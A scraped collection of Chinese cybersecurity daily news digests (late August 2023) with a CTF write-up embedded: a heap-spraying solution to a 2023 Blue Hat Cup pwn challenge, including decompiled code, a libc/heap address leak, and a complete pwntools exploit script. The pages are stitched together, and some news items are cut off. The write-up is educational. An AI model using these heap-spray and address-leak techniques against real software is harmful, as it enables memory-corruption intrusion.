返回true表示登录成功,其中的cookie就是admin账户的合法凭证
网络安全日报 2023年09月01日
1、密歇根大学遭遇网络攻击后被迫关闭网络 https://umich.edu/announcements/ 密歇根大学为了应对网络安全事件,已将所有系统和服务下线,在开课前一天晚上对在线服务造成了广泛影响。密歇根大学 (UM) 是美国历史最悠久、规模最大的教育机构之一,拥有 30000 多名学术和行政人员,大约有 51000 名学生。从周日开始,该大学网站上发布了一系列公告 ,一次网络安全事件导致 IT 中断,并中断了对重要在线服务的访问,包括 Google、Canvas、Wolverine Access 和电子邮件。尽管密歇根大学聘请 IT 团队来恢复受影响的系统,但由于事件的严重性,管理层认为断开密歇根大学网络与互联网的连接是最 2、DreamBus僵尸网络利用RocketMQ漏洞感染服务器 https://blogs.juniper.net/en-us/threat-research/dreambus-botnet-resurfaces-targets-rocketmq-vulnerability 新版本的 DreamBus 僵尸网络恶意软件利用 RocketMQ 服务器中的严重远程代码执行漏洞来感染设备。被利用的漏洞被追踪为 CVE-2023-33246,是一个权限验证问题,影响 RocketMQ 5.1.0 及更早版本,允许攻击者在某些条件下执行远程命令。研究人员发现了最近利用该缺陷的 DreamBus 攻击,他们报告称该活动在 2023 年 6 月中旬出现激增。在 202 3、新型安卓恶意软件MMRat利用Protobuf协议窃取数据 https://www.trendmicro.com/en_us/research/23/h/mmrat-carries-out-bank-fraud-via-fake-app-stores.html 新型安卓银行恶意软件 MMRat 利用很少使用的通信方法(protobuf 数据序列化)来更有效地从受感染的设备窃取数据。MMRat 于 2023 年 6 月下旬首次被发现,主要针对东南亚用户,并且在 VirusTotal 等防病毒扫描服务中仍未被发现。虽然研究人员不知道恶意软件最初是如何传播给受害者的,但他们发现 MMRat 是通过伪装成官方应用商店的网站分发的。受害者下载并安装携带 MMR 4、研究人员演示利用Microsoft Entra ID提升权限技术 https://www.secureworks.com/research/power-platform-privilege-escalation 研究人员发现,通过利用废弃的回复 URL 与 Microsoft Entra ID(以前称为 Azure Active Directory)应用程序相关的权限升级案例。攻击者可以利用这个废弃的 URL 将授权代码重定向到自己,用非法获取的授权代码交换访问令牌。然后,攻击者可以通过中间层服务调用 Power Platform API 并获得提升的权限。研究人员还提供了一个开源工具用来扫描废弃的回复 URL。 5、微软警告AiTM网络钓鱼攻击活动增多 https://thehackernews.com/2023/08/phishing-as-service-gets-smarter.html 微软警告称,AiTM 网络钓鱼技术有所增加,这些技术正在作为网络钓鱼即服务 (PhaaS) 网络犯罪模型的一部分进行传播。除了支持 AiTM 的 PhaaS 平台有所增加之外,微软还指出,PerSwaysion 等现有的网络钓鱼服务正在整合 AiTM 功能。微软威胁情报团队发布的一系列帖子中表示:“PhaaS 生态系统的这一发展使攻击者能够进行大量网络钓鱼活动,试图大规模规避 MFA 保护。”具有 AiTM 功能的网络钓鱼工具包以两种方式工作,其中一 6、Akira 勒索软件针对未配置多重身份验证的 Cisco ASA https://securityaffairs.com/150157/cyber-crime/cisco-asa-ransomware-attacks.html 思科了解到Akira 勒索软件威胁行为者针对未配置多重身份验证的 Cisco ASA VPN 实施了攻击。 7、朝鲜黑客在 PyPI 存储库中部署新的恶意 Python 包 https://thehackernews.com/2023/08/north-korean-hackers-deploy-new.html 作为正在进行的名为VMConnect的恶意软件供应链活动的一部分,在软件包索引 (PyPI) 存储库中还发现了另外三个流氓 Python 软件包,有迹象表明朝鲜国家支持的威胁行为者参与其中。 8、Netgear 发布了两个高严重性漏洞的补丁 https://therecord.media/netgear-releases-patches-for-two-bugs 网络硬件巨头 Netgear 发现了两个漏洞,影响其一款路由器型号及其网络管理软件。其中一个漏洞(编号为 CVE-2023-41183)允许黑客利用 Netgear 的 Orbi 760 路由器。 9、美国国家安全委员会数据泄露,影响包括政府组织和2000多家公司 https://securityaffairs.com/150138/security/nasa-tesla-doj-verizon-2k-leaks.html 美国国家安全委员会泄露了其成员的近万封电子邮件和密码,影响包括政府组织和大公司在内的 2000 家公司。 10、NoName057(16)组织针对波兰证券交易所和银行进行网络攻击 https://cybernews.com/cyber-war/polish-stock-exchange-banks-knocked-offline-by-pro-russian-hackers/ 俄罗斯背景的 NoName057(16) 组织于周一上午 10 点左右在他们的加密 Telegram 频道上宣布了针对波兰的网络攻击事件。该组织的第一个目标是华沙证券交易所。该组织发布消息称:“为了向所有反对本国当局陷入恐俄症的波兰公民表示支持,我们今天的 DDoS 攻击瞄准了波兰目标。”然而,该组织继续对几家波兰主要商业银行提出索赔,包括北高银行、Raiffeisen 银行、Plus 银行、农 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年08月31日
1、研究人员披露BLISTER恶意软件加载程序新变种 https://www.elastic.co/security-labs/revisiting-blister-new-developments-of-the-blister-loader BLISTER 是一种恶意软件加载程序,最初发现于 2021 年,与经济动机的入侵相关。在首次发现两年后,研究人员发现了更新的 SOCGHOLISH 感染链,用于分发 BLISTER 并部署来自 MYTHIC 的有效负载。研究人员发现了 BLISTER 系列以前不具备的新功能,表明该恶意软件仍在进行开发。该恶意软件继续使用一种独特的技术,将恶意代码嵌入到合法的应用程序中,编写大量的良性代码和使用加密来避免 2、Cisco NX-OS软件存在远程身份验证漏洞 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-remoteauth-dos-XB6pv74m Cisco NX-OS 软件的 TACACS+ 和 RADIUS 远程身份验证中的漏洞可能允许未经身份验证的本地攻击者导致受影响的设备意外重新加载。如果为 TACACS+ 或 RADIUS 启用了定向请求选项,则此漏洞是由于处理身份验证尝试时的输入验证不正确造成的。攻击者可以通过在受影响设备的登录提示符下输入精心设计的字符串来利用此漏洞。成功利用此漏洞可能会让攻击 3、KittenSec组织称针对北约国家和私营部门进行网络攻击 https://cyberscoop.com/kittensec-hacktivism-corruption/ KittenSec黑客组织声称,在过去的一个月里,它袭击了多个北约国家的政府和私营部门的计算机系统,并通过揭露腐败来证明其攻击的合理性。 4、严重 RCE 漏洞影响 VMware Aria Operations Networks https://securityaffairs.com/150079/security/vmware-aria-operations-networks-rce.html VMware 修复了 Aria Operations for Networks 中的两个安全漏洞,这些漏洞可被用来绕过身份验证并获得远程代码执行。 5、BGP 漏洞可被利用造成长时间的互联网中断 https://www.securityweek.com/bgp-flaw-can-be-exploited-for-prolonged-internet-outages/ 一位研究人员周二警告说,影响几个主要边界网关协议(BGP)实施的严重缺陷可能会被利用导致长时间的互联网中断,但一些供应商并没有修补它。 6、DreamBus僵尸网络利用RocketMQ漏洞植入恶意挖矿程序 https://www.securityweek.com/dreambus-botnet-exploiting-rocketmq-vulnerability-to-delivery-cryptocurrency-miner/ DreamBus 僵尸网络在中断两年后重新出现,人们发现它利用最近修补的 Apache RocketMQ 漏洞进行攻击,其目标是进行恶意挖矿。 7、Qakbot 被FBI摧毁,并向受感染的70W台机器下发了自动卸载程序 https://www.securityweek.com/operation-duck-hunt-qakbot-malware-disrupted-8-6-million-in-cryptocurrency-seized/ 执法当局周二宣布跨境捣毁臭名昭著的 Qakbot 网络犯罪活动,该活动通过勒索软件和金融欺诈攻击袭击了全球超过 70 万台计算机。这次行动被称为“猎鸭行动”,包括接管 Qakbot 基础设施和分发一个软件实用程序,以自动从受感染的计算机上卸载 Qakbot恶意软件。 8、MMRat Android 木马通过远程控制设备并进行金融欺诈 https://thehackernews.com/2023/08/mmrat-android-trojan-executes-remote.html 自 2023 年 6 月下旬以来,一种名为MMRat的先前未记录的 Android 银行木马以东南亚的移动用户为目标,远程控制设备并进行金融欺诈。 9、黑客可以利用 Windows 容器隔离框架绕过端点安全 https://thehackernews.com/2023/08/hackers-can-exploit-windows-container.html 新发现表明,恶意行为者可以利用偷偷摸摸的恶意软件检测规避技术,并通过操纵 Windows 容器隔离框架来绕过端点安全解决方案。Deep Instinct 安全研究员 Daniel Avinoam 在本月早些时候举行的DEF CON 安全会议上介绍了这一发现。 10、Microsoft 向 Exchange Server 2016 和 2019 添加 HSTS 支持 https://www.bleepingcomputer.com/news/security/microsoft-adds-hsts-support-to-exchange-server-2016-and-2019/ Microsoft 今天宣布,Exchange Server 2016 和 2019 现在支持 HTTP 严格传输安全(也称为 HSTS)。HSTS 是一种 Web 服务器指令,指示网站(例如适用于 Exchange Server 的 OWA 或 ECP)仅允许通过 HTTPS 进行连接,从而保护它们免受通过协议降级和 cookie 劫持触发的中间人 (MitM) 攻击。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
从2023蓝帽杯0解题heapSpary入门堆喷
关于堆喷 堆喷射(Heap Spraying)是一种计算机安全攻击技术,它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址,因为通过广泛地“喷射”堆,攻击者可以提高恶意负载被成功执行的机会。 这种技术尤其用于绕过地址空间布局随机化(ASLR)和其他内存保护机制。对于利用浏览器和其他客户端应用程序的漏洞特别有效。 前言 此题为2023年蓝帽杯初赛0解pwn题,比赛的时候是下午放出的,很难在赛点完成该题,算是比较高难度的题,他的题目核心思想确实和题目名字一样,堆喷,大量的随机化和滑板指令思想,在赛后一天后完成了攻破。此题,不是因为0解我才觉得他有意义,是因为他的堆喷思想和实际在工作中的二进制利用是很贴合的,确实第一次打这种题。 题目分析 checksec ❯ checksec main [*] '/root/P-W-N/bulue/main'   Arch:     i386-32-little   RELRO:   Full RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     PIE enabled 保护全开,很常规。 这个题其实要是能迅速静态分析完,其实也能很快出,也算是给我上了一课,要是我的好大儿GXH在,估计是可以在比赛中成为唯一解的。 先来看整个程序是去了符号表,我们先在start那定位main函数,__libc_start_main第一个参数就是main函数地址 // positive sp value has been detected, the output may be wrong! void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>) { int v2; // esi int v3; // [esp-4h] [ebp-4h] BYREF char *retaddr; // [esp+0h] [ebp+0h] BYREF v2 = v3; v3 = a1; __libc_start_main(   (int (__cdecl *)(int, char **, char **))sub_1D64,   v2,   &retaddr,   (void (*)(void))sub_1D90,   (void (*)(void))sub_1E00,   a2,   &v3); __halt(); } 这个main没什么好看的,快进到初始化和菜单 初始化如下 unsigned int sub_134D() { unsigned int result; // eax unsigned int buf; // [esp+0h] [ebp-18h] BYREF int fd; // [esp+4h] [ebp-14h] int v3; // [esp+8h] [ebp-10h] unsigned int v4; // [esp+Ch] [ebp-Ch] v4 = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); fd = open("/dev/urandom", 0); if ( fd < 0 || read(fd, &buf, 4u) < 0 )   exit(0); close(fd); srand(buf); v3 = rand(); malloc(4 * (v3 % 1638)); result = __readgsdword(0x14u) ^ v4; if ( result )   sub_1E10(); return result; } 初始化影响不是很大,就是建了个随机大小的chunk,但是因为后续是不释放这个chunk其实没什么影响。 来看菜单,4是不存在的虚空功能 int sub_15E4() { puts("========Welcome to new heap game========"); puts("1. Create Heap."); puts("2. Show Heap."); puts("3. Delete Heap."); puts("4. Change Heap."); puts("5. Action."); puts("6. Exit."); return printf("Please give me your choose : "); } 我们直接来先看看后门函数5 int sub_1C14() { int result; // eax unsigned int v1; // [esp+Ch] [ebp-1Ch] int v2; // [esp+10h] [ebp-18h] printf("Please input heap index : "); v1 = sub_1461(); if ( v1 > 0xFFF || !dword_4060[2 * v1] )   return puts("Error happened."); v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1]; if ( !**(_DWORD **)v2 )   return (*(int (__cdecl **)(const char *))(*(_DWORD *)v2 + 4))("cat flag"); result = *(_DWORD *)v2; --**(_DWORD **)v2; return result; } 关于地址0x4060这个地方前面存的是堆的地址,后面是堆的大小,堆数量上限在0xFFF。 来看看v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1]; 这个就是取堆地址然堆地址加堆大小(可控输入任意值)然后赋值到v2,比如 0x565a1060:     0x57aebf90     0x00000100 得到的就是0x57aec090 然后对0x57aec090里面存放的地址进行一个内存检测操作,如果前4位为0就执行后门,取0x57aec090内的地址的内存的后四位进行指针函数调用。此时链表如下 0x57aec090 —▸ 0x57aeb300 ◂— 0x0 0x57aeb300内存如下(0xf7d99781为system地址) pwndbg> x/32wx 0x57aeb300 0x57aeb300:     0x00000000     0xf7d99781     0x00000000     0xf7d99781 分析完后门了,我们去看看add功能。可以看见是非常的长的,然后重点在于Switch选择和sub_14BA函数 _DWORD *sub_1690() { _DWORD *result; // eax int i; // [esp+4h] [ebp-34h] int k; // [esp+8h] [ebp-30h] int j; // [esp+Ch] [ebp-2Ch] int m; // [esp+10h] [ebp-28h] int v5; // [esp+14h] [ebp-24h] int v6; // [esp+18h] [ebp-20h] int v7; // [esp+1Ch] [ebp-1Ch] for ( i = 0; i <= 254 && dword_4060[i * dword_400C * dword_4008]; ++i )   ; if ( (int *)i == off_4010 )   return (_DWORD *)puts("Ooops! Here is no space for you."); printf("How much space do you need : "); v5 = sub_1461(); if ( v5 <= 0 || v5 > 0x20000 )   return (_DWORD *)printf("Ooops! I can't allocate these spaces to you."); for ( j = 0; j <= 15; ++j ) {   for ( k = rand() % 16; dword_4060[dword_4008 * (k + i * dword_400C)]; k = (k + 1) % 16 )     ;   dword_4060[dword_4008 * (k + i * dword_400C)] = malloc(v5 + 4);   dword_4060[(k + i * dword_400C) * dword_4008 + 1] = v5;   if ( !dword_4060[dword_4008 * (k + i * dword_400C)] )   {     puts("Ooops! Some error happened.");     exit(-1);   } } for ( m = 0; m <= 15; ++m ) {   puts("Please input your head data.");   sub_14BA((char *)dword_4060[dword_4008 * (m + i * dword_400C)], dword_4060[(m + i * dword_400C) * dword_4008 + 1]);   puts("Which flag do you want?");   v6 = sub_1461();   v7 = dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];   switch ( v6 )   {     case 1:       *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;       *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;       *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;       break;     case 2:       *(_BYTE *)v7 = (unsigned __int8)sub_1557 - 16284 + (unsigned __int8)&off_3F9C - 4;       *(_WORD *)(v7 + 1) = (unsigned int)sub_1557 >> 8;       *(_BYTE *)(v7 + 3) = (unsigned int)sub_1557 >> 24;       break;     case 3:       *(_BYTE *)v7 = (unsigned __int8)sub_1586 - 16284 + (unsigned __int8)&off_3F9C - 4;       *(_WORD *)(v7 + 1) = (unsigned int)sub_1586 >> 8;       *(_BYTE *)(v7 + 3) = (unsigned int)sub_1586 >> 24;       break;     case 4:       *(_BYTE *)v7 = (unsigned __int8)sub_15B5 - 16284 + (unsigned __int8)&off_3F9C - 4;       *(_WORD *)(v7 + 1) = (unsigned int)sub_15B5 >> 8;       *(_BYTE *)(v7 + 3) = (unsigned int)sub_15B5 >> 24;       break;   } } printf("Heap create from : %d to %d\n", 16 * i, 16 * (i + 1) - 1); result = dword_4040; dword_4040[0] = i; return result; } 我们先看看sub_14BA函数,可以看见逻辑是无限读入,存在堆溢出,后续堆喷滑动要用上。在输入的最后末尾都会变成0截断符,相当于带有一个off by null,但是这里也用不上的,核心在于堆块bin构造,要非常熟悉bin的回收机制,还有利用好下面的Switch选择来把0截断给绕过。 int __cdecl sub_14BA(char *buf, int a2) { while ( a2 ) {   if ( read(0, buf, 1u) != 1 )     exit(-1);   if ( *buf == 10 )   {     *buf = 0;     break;   }   ++buf; } *buf = 0; return 0; } 我们来继续看这个Switch选择,其实4个选项都是差不多的只是返回值的地址不一样而已,调一个就好了。 他会对所有的在0x4060上的chunk都进行赋值操作,我们先重点关注下v7的取值 dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)]; 可以看见v7的取值一样是堆的起始地址加上我们的大小,注意注意,这个大小是我们自己输入的,也就是可以打1,2,3..... 如果是这样的话比如我们的起始地址是0x100,大小是输入了1,内容输入的是a,那么经过下面的case 1操作 case 1:       *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;       *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;       *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24; 就会得到内容如下(此处字节码只做替代作用,非真实情况) 0x100:a 0x101:\x01 0x102:\x02 0x103:\x03 0x104:\x04 (本应是libc or heap 但是由于v7取的是起始地址加大小刚好覆盖了一位地址,但是无所谓,低三位随便盖) 0x105:libc or heap 0x106:libc or heap 0x107:libc or heap 要是不去调用这4个case中的任一一个,就会变成如下,最后就会因为之前的溢出读入函数导致末尾强行加上了截断符 0x100:a 0x101:\x00 0x102:libc or heap .................. 也就是说,只要把握好一个堆块的BK指针存储上堆地址或者libc地址就能通过申请的时候申请大小为1的堆块(实际为0x10)来绕过0截断,进而泄露地址。 对于这个chunk 构造,我是直接选择了非常暴力的操作,因为他一次性add操作会直接申请16个chunk,free的时候是全free。 所以泄露操作的exp如下,直接破坏他们的链表 create_heap(0xa0, b'1','data',4) create_heap(1, b'1','data',4) create_heap(0x60, b'1','data',4) create_heap(1, b'1','data',4) delete_heap() delete_heap() delete_heap() delete_heap() create_heap(1, b'1','data',4) create_heap(1, b'1','data',4) create_heap(1, b'1','data',4) bin如下 pwndbg> bin tcachebins 0x10 [ 7]: 0x579aeaf0 —▸ 0x579aeae0 —▸ 0x579aeab0 —▸ 0x579aead0 —▸ 0x579aeaa0 —▸ 0x579aea70 —▸ 0x579aea60 ◂— 0x0 0x70 [ 7]: 0x579ae5e0 —▸ 0x579ae880 —▸ 0x579ae810 —▸ 0x579ae7a0 —▸ 0x579ae730 —▸ 0x579ae570 —▸ 0x579ae500 ◂— 0x0 0xb0 [ 7]: 0x579aded0 —▸ 0x579adb60 —▸ 0x579ada00 —▸ 0x579ad950 —▸ 0x579ad740 —▸ 0x579ad8a0 —▸ 0x579ae030 ◂— 0x0 fastbins 0x10: 0x579ae288 —▸ 0x579ae258 —▸ 0x579ae248 —▸ 0x579ae238 —▸ 0x579ae328 ◂— ... unsortedbin all [corrupted] FD: 0x579ae0d8 —▸ 0x579adf78 —▸ 0x579adc08 —▸ 0x579adaa8 —▸ 0x579ad7e8 ◂— ... BK: 0x579ae8e8 —▸ 0x579ae338 —▸ 0x579ae648 —▸ 0x579ad7e8 —▸ 0x579adaa8 ◂— ... smallbins empty largebins empty pwndbg> 此时就会出现如下的神仙堆块,这就是我们要的最完美的堆块 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x579ae8e8 Size: 0x151 fd: 0xf7f48778 bk: 0x579ae338 但是要明白一点,unsortedbin可不止这一个,而且他不是每次都一定处于链表的头部的,所以还要写一个全输出和筛选操作 # Assuming leak_all is defined as an empty list before this leak_all = [] heap_addr = None libc_base = None for i in range(46):   leak = leak_libc(i)   if leak > 0x56000000:       leak_all.append(leak)       print(hex(leak))               # Assigning values to heap_addr and libc_base       if heap_addr is None and leak < 0xf7000000:           heap_addr = leak+0x1000-0x56       elif libc_base is None and leak > 0xf7000000:           libc_base = leak-0x1eb756 这样就可以稳定的获得libc,和一个堆地址。 然后经过内存调试发现,该堆地址在有一定概率在后续申请的堆块的下面,我们可以进行栈溢出覆盖该堆地址的内容,完成上面后门要求的条件。 所以,直接进行堆喷覆盖,index为0的chunk+0x100肯定在自己的下面,我们要考虑爆破的只有堆风水和上面泄露的heap_addr是不是也在index为0的chunk后面就行了,对于这个问题就交给运气吧,爆就完事了。 tips:(上面的堆风水是因为,他的add的时候用了random瞎赋值下标干扰程序增强随机化导致的,有时候链表不是我想的那么完美有可能踩值会踩不到 0x580e97a0 —▸ 0x580e8900 ◂— 0 ,会变成0x580e97a0 —▸ 0x580e8900 ◂— 0x580e8900 这就是因为堆风水导致padding不稳定,) # Checking the assigned values print("heap_addr:", hex(heap_addr)) print("libc_base:", hex(libc_base)) sys=libc_base+libc.sym['system'] pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000 create_heap(0x100, pay,pay,0) p.sendlineafter("Please give me your choose : ", "5") p.sendlineafter("Please input heap index : ", "0") exp from pwn import * # 连接到题目提供的服务端 p = process('./main') context.log_level='debug' libc=ELF('/root/P-W-N/bulue/glibc-all-in-one/libs/2.31-0ubuntu9.9_i386/libc.so.6') def create_heap(size, data,data2,flag):   p.sendlineafter("Please give me your choose : ", "1")   p.sendlineafter("How much space do you need : ", str(size))   p.sendlineafter("Please input your head data.", data)   p.sendlineafter("Which flag do you want?", str(flag))   for _ in range(15):       p.sendlineafter("Please input your head data.", data2)       p.sendlineafter("Which flag do you want?", str(flag)) def delete_heap():   p.sendlineafter("Please give me your choose : ", "3") all_leak=[] def leak_libc(idx):   p.sendlineafter("Please give me your choose : ", "2")   p.sendlineafter("Please input heap index : ", str(idx))   p.recvuntil("Heap information is ")   p.recv(4)   leak = u32(p.recv(4).ljust(4,b'\x00'))   return leak gdb.attach(p,'b *$rebase(0x01C9E)') #构建理想chunk,bk带有堆指针或libc指针,这种chunk可以批发的 create_heap(0xa0, b'1','data',4) create_heap(1, b'1','data',4) create_heap(0x60, b'1','data',4) create_heap(1, b'1','data',4) delete_heap() delete_heap() delete_heap() delete_heap() #申请小chunk 疯狂切割,直接一点点带出来 create_heap(1, b'1','data',4) create_heap(1, b'1','data',4) create_heap(1, b'1','data',4) # Assuming leak_all is defined as an empty list before this leak_all = [] heap_addr = None libc_base = None for i in range(46):   leak = leak_libc(i)   if leak > 0x56000000:       leak_all.append(leak)       print(hex(leak))               # Assigning values to heap_addr and libc_base       if heap_addr is None and leak < 0xf7000000:           heap_addr = leak+0x1000-0x56       elif libc_base is None and leak > 0xf7000000:           libc_base = leak-0x1eb756 delete_heap() delete_heap() delete_heap() # Checking the assigned values print("heap_addr:", hex(heap_addr)) print("libc_base:", hex(libc_base)) sys=libc_base+libc.sym['system'] #堆风水随缘padding,最后的p32(0)+p32(sys)是因为要满足后门格式,由于我们不可能得到具体的距离,只能用滑板思想批量填充滑动 pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000 create_heap(0x100, pay,pay,0) p.sendlineafter("Please give me your choose : ", "5") p.sendlineafter("Please input heap index : ", "0") p.interactive()
网络安全日报 2023年08月30日
1、研究人员披露向非营利基金会捐款为诱饵的BEC活动 https://blog.cluster25.duskrise.com/2023/08/25/the-fraud-gala-bec 企业在全球范围内开展业务,以光速交换信息、开展合作和进行金融交易,所有这一切都通过电子邮件来实现。正是这种便利性为网络犯罪分子利用人类的弱点和操纵数字通信中固有的信任铺平了道路。这种欺骗现象被称为 "商业电子邮件破坏(BEC)"骗局,它已成为各种规模的企业都极为关注的威胁。研究人员发现了一起以向一些非营利基金会捐款为诱饵的 BEC 活动。在所有分析的案例中,诈骗邮件都是发送给财务或会计团队的员工,CEO 的电子邮件地址为抄送地址。攻击者要求使用指定的银行账户向非 2、研究人员披露伪装成电子邮件验证器的恶意NPM软件包 https://blog.phylum.io/npm-emails-validator-package-malware/ 研究人员发现了一个发布到 npm 的可疑软件包,名为“ emails-helper ”。该软件包是涉及 Base64 编码和加密二进制文件的复杂攻击的一部分。该方案获取来自远程服务器上托管的 DNS TXT 记录的加密密钥。此外,从该远程服务器检索十六进制编码的 URL,然后传递到生成的二进制文件。最终结果是部署强大的渗透测试工具,例如 dnscat2、mettle和 Cobalt Strike Beacon。 3、与 FIN8 相关攻击者对 Citrix NetScaler 系统进行大规模攻击 https://securityaffairs.com/150028/hacking/fin8-citrix-netscaler.html Sophos X-Ops 正在跟踪一项持续的活动,该活动针对 Citrix NetScaler 系统,该活动由与FIN8组织 [ BleepingComputer、SOCRadar ] 相关的威胁行为者发起。黑客正在大规模利用远程代码执行(编号为CVE-2023-3519)的攻击活动。 4、新的“MMRat”Android 木马瞄准东南亚用户 https://www.securityweek.com/new-mmrat-android-trojan-targeting-users-in-southeast-asia/ 据趋势科技报道,一种新发现的针对东南亚用户的 Android 木马允许攻击者远程控制设备并进行银行欺诈。该恶意软件被称为 MMRat,自 6 月份开始活跃,它可以捕获用户输入并截取屏幕截图,并使用基于 Protobuf 的定制命令和控制 (C&C) 协议,从而提高了传输大量数据时的性能。 5、联合国报告称东南亚数十万人参与网络诈骗 https://www.securityweek.com/un-warns-hundreds-of-thousands-in-southeast-asia-roped-into-online-scams/ 联合国人权办公室表示,犯罪团伙迫使东南亚数十万人参与非法网络诈骗活动,包括虚假浪漫策略、虚假投资宣传和非法赌博计划。 6、欧盟《数字服务法》正式生效,严管假资讯和仇恨言论 https://www.secrss.com/articles/58211 该法强制企业更加积极地监督数字内容,避免用户看到假资讯和仇恨言论,违规企业恐面临全球年营收6%的高额罚款。 7、思科修复了NX-OS和FXOS软件中的3个高严重性DOS漏洞 https://securityaffairs.com/149906/security/cisco-nx-os-and-fxos-software-flaws.html 思科本周解决了其产品中的多个缺陷,包括NX-OS和FXOS软件中的三个严重缺陷。攻击者可利用这三个问题造成拒绝服务 (DoS) 条件。 8、研究人员发现 Azure 中存在URL接管漏洞 https://www.infosecurity-magazine.com/news/reply-url-takeover-issue-azure/ 攻击者可以使用该 URL 将授权代码重定向到自己,并以此交换访问令牌。然后,威胁者就可以通过中间层服务调用 Power Platform API,获得更高的权限。 9、黑客用30美元的设备,就让波兰铁路瘫痪了 https://securityaffairs.com/149952/hacking/hacking-attack-polan-railways.html 据《连线》报道,破坏者通过无线电频率向目标列车发出简单的所谓“无线电停止”命令。由于波兰铁路系统中使用的无线电系统缺乏加密或身份验证,因此很容易欺骗无线电停止命令。 10、ICO 呼吁社交媒体公司保护用户数据不被窃取 https://www.bleepingcomputer.com/news/security/ico-calls-on-social-media-firms-to-protect-users-data-from-scraping/ 英国信息专员办公室(ICO)与来自世界各地的11个数据保护和隐私机构一起发布了一份声明,呼吁社交媒体平台加强对数据抓取的保护。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年08月29日
1、开源工具LaZagne可利用Pidgin D-Bus API窃取密码 https://unit42.paloaltonetworks.com/lazagne-leverages-d-bus/ 攻击者增加了对 Linux 系统的针对性攻击,开源密码恢复工具 LaZagne 等黑客工具实用程序的易于访问性使得攻击者易于在恶意软件攻击链中使用这种工具来转储密码。 2、Leaseweb提供商正在恢复因漏洞而禁用的关键系统 https://www.leasewebstatus.com/incidents/leaseweb-customer-portal-not-available/jrhktsaf 全球最大的云和托管提供商之一 Leaseweb 发布通知,称它正在努力恢复因最近的安全漏洞而禁用的“关键”系统。在周四发送给客户的电子邮件中,这家荷兰云提供商表示,周二晚上在调查客户门户停机问题时,发现其基础设施的某些部分存在“异常”活动的迹象。 3、Crates.io 上发现针对 Rust 开发人员的恶意软件攻击迹象 https://www.securityweek.com/signs-of-malware-attack-on-rust-developers-found-on-crates-io/ 据软件供应链安全公司 Phylum 称,Crates.io Rust 软件包仓库最近成为针对开发人员的恶意软件攻击的初始阶段的目标。 4、大规模的 MOVEIT 活动已经影响了至少 1,000 个组织和 6,000 万人 https://securityaffairs.com/149921/hacking/massive-moveit-campaign-campaign.html 网络安全公司 Emsisoft 分享了 Cl0p 勒索软件组织最近针对Progress Software Corporation 设计的MOVEit Transfer 文件传输平台进行的大规模黑客活动的细节。据专家称,这些攻击影响了大约 1,000 个组织和 60,144,069 个人。Cl0p 勒索软件团伙利用零日漏洞CVE-2023-34362入侵全球组织使用的平台并窃取其数据。 5、研究人员发布了针对 JUNIPER SRX 防火墙漏洞的 POC https://securityaffairs.com/149990/hacking/poc-exploit-juniper-srx-firewall-flaws.html watchTowr Labs 安全研究人员针对 Juniper SRX 防火墙中的漏洞发布了概念验证漏洞 (PoC)漏洞代码。未经身份验证的攻击者可以链接这些漏洞,以在易受攻击的设备上的 Juniper JunOS 中远程执行代码。 6、更新后的 KMSDX 僵尸网络瞄准 IOT 设备 https://securityaffairs.com/149970/cyber-crime/kmsdbot-botnet-new-version.html Akamai 安全情报响应团队 (SIRT) 发现了新版本的KmsdBot僵尸网络,该僵尸网络采用了针对物联网 (IoT) 设备的更新的 Kmsdx 二进制文件。KmsdBot 是一种基于 Golang 的规避恶意软件,Akamai 于 2022 年 11 月首次检测到,它通过使用弱登录凭据的 SSH 连接来感染系统。 7、Tor 调整 Onion 路由软件以抵御 DDoS 攻击 https://www.theregister.com/2023/08/26/tor_tweaks_onion_routing_software/ 更新后的软件现在支持名为 EquiX 的工作证明挑战。它由开发门罗币工作量证明算法的 Tevador 设计,是“一个 CPU 友好的客户端,具有快速验证和较小的解决方案大小(16 字节)”。 8、Telekopye为来自俄罗斯的大规模网络钓鱼诈骗提供支持 https://thehackernews.com/2023/08/new-telegram-bot-telekopye-powering.html 一项新的出于经济动机的行动正在利用恶意 Telegram 机器人来帮助威胁行为者欺骗受害者。该工具包被称为Telekopye,是Telegram和kopye的结合体。 9、补丁无效!CISA称梭子鱼ESG设备现仍无法抵御黑客攻击 https://www.bleepingcomputer.com/news/security/fbi-warns-of-patched-barracuda-esg-appliances-still-being-hacked/ 